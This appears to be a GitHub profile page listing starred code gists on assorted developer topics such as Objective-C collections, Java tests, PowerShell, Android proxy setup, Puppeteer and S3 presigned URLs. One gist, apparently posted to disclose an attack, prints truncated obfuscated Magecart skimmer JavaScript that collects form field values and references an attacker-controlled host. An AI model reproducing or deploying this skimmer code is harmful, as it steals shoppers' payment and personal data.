Skip to content

Instantly share code, notes, and snippets.

View yonixw's full-sized avatar

Yehonatan Water Man yonixw

View GitHub Profile
@axiixc
axiixc / AXMutableOrderedDictionary.h
Created April 29, 2011 18:06
A mutable ordered dictionary collection for Objective-C.
@interface AXMutableOrderedDictionary : NSMutableDictionary <NSMutableCopying> {
@private
NSMutableArray * _keys;
NSMutableDictionary * _dict;
}
+ (id)newWithCapacity:(NSUInteger)initialCapacity;
+ (id)newWithOrderedDictionary:(AXMutableOrderedDictionary *)otherDictionary;
+ (id)newWithObjects:(NSArray *)objects forKeys:(NSArray *)keys;
@xaethos
xaethos / gist:3792258
Created September 27, 2012 05:06
Mocking HttpURLConnection
public class URLRequestUnit extends InstrumentationTestCase
{
private static final String API_URL =
"http://www.example.com/api/users";
public void testHttpOkay() throws Exception {
MockURLStreamHandler handler = new MockURLStreamHandler();
URL.setURLStreamHandlerFactory(handler);
UsersRequest request = new UsersRequest();
@PiotrCL
PiotrCL / StrictfpReflectionTest.java
Created September 20, 2016 10:38
Test class that detects how the strictfp modifier is propagated in different scenarios. The test is based on Java Reflection API
import java.lang.reflect.Modifier;
strictfp interface StrictInterface {
void someInterfaceMethod();
default void someInterfaceDefaultMethod() {}
class InnerTest {
public static void innerMethod() {}
@danielscholl
danielscholl / ieESC_disable
Created March 20, 2017 14:19
Disable IE Enhance Security PowerShell
function Disable-ieESC {
$AdminKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}"
$UserKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}"
Set-ItemProperty -Path $AdminKey -Name "IsInstalled" -Value 0
Set-ItemProperty -Path $UserKey -Name "IsInstalled" -Value 0
Stop-Process -Name Explorer
Write-Host "IE Enhanced Security Configuration (ESC) has been disabled." -ForegroundColor Green
}
Disable-ieESC
@erkattak
erkattak / AndroidManifest.xml
Created June 19, 2017 18:47
Android Application Setup for use with Charles Proxy
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme"
android:networkSecurityConfig="@xml/network_security_config">
@shospodarets
shospodarets / Chrome headless Puppeteer- capture DOM element screenshot using
Last active January 17, 2023 18:52
Chrome headless Puppeteer- capture DOM element screenshot using
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
// Adjustments particular to this page to ensure we hit desktop breakpoint.
page.setViewport({width: 1000, height: 600, deviceScaleFactor: 1});
await page.goto('https://www.chromestatus.com/samples', {waitUntil: 'networkidle'});
@binarycrayon
binarycrayon / policy.md
Created February 14, 2018 01:32 — forked from pgolding/policy.md
s3 bucket policy for presigned URLs generated by serverless lambda functions

AWS Presigned URLs

Presigned URLs are useful for fine-grained access control to resources on s3.

For example, if storing larger text blocks than DynamoDB might allow with its 400KB size limits s3 is a useful option.

Ignoring various ACL methods and using presigned URLs, it's possible to create lambda functions that can generate the required upload and download URLs.

Using the default IAM roles and lambda proxy configuration of serverless, lambdas are assigned an IAM role for the application (so that a logical group of functions can share resources - e.g. for a CRUD REST API). Each function then assumes the IAM role via its own function name.

@campuscodi
campuscodi / feedbackembad-min-1.0.js
Created September 12, 2018 15:05
Magecart code on Feedify
var _0xeb25=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x66\x6F\x2D\x73\x74\x61\x74\x2E\x77\x73\x2F\x6A\x73\x2F\x73\x6C\x69\x64\x65\x72\x2E\x6A\x73","\x73\x65\x74\x69\x64\x64","\x28\x3F\x3A\x5E\x7C\x3B\x20\x29","\x5C\x24\x31","\x72\x65\x70\x6C\x61\x63\x65","\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x73\x65\x74\x69\x64\x64\x3D","\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x73\x6E\x64","\x69\x6E\x70\x75\x74\x2C\x20\x73\x65\x6C\x65\x63\x74\x2C\x20\x74\x65\x78\x74\x61\x72\x65\x61\x2C\x20\x63\x68\x65\x63\x6B\x62\x6F\x78\x2C\x20\x62\x75\x74\x74\x6F\x6E","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C","\x6C\x65\x6E\x67\x74\x68","\x76\x61\x6C\x75\x65","\x6E\x61\x6D\x65","","\x3D","\x26","\x61\x5B\x68\x72\x65\x66\x2A\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x76\x6F\x69\x64\x28\x30\x
@casamia918
casamia918 / node.js) ENOENT, no such file or directory when using fs.createWriteStream.md
Last active May 21, 2022 19:18
node.js) ENOENT, no such file or directory when using fs.createWriteStream

If you are facing the "ENOENT, no such file or directory" error message when using fs.createWriteStream, check your file name again.

In my case, the last character is not the last character of file name, but carrage return (\r)

I lost 3 hours to find this simple answer. So I leave this memo.

@cutiko
cutiko / RestartAppAdb.md
Created July 3, 2019 17:23
Restart Android App using ADB

Remember to replace com.domain.appname with your actual app package name

adb shell am force-stop com.domain.appname
adb shell am start -n com.domain.appname/com.domain.appname.MainActivity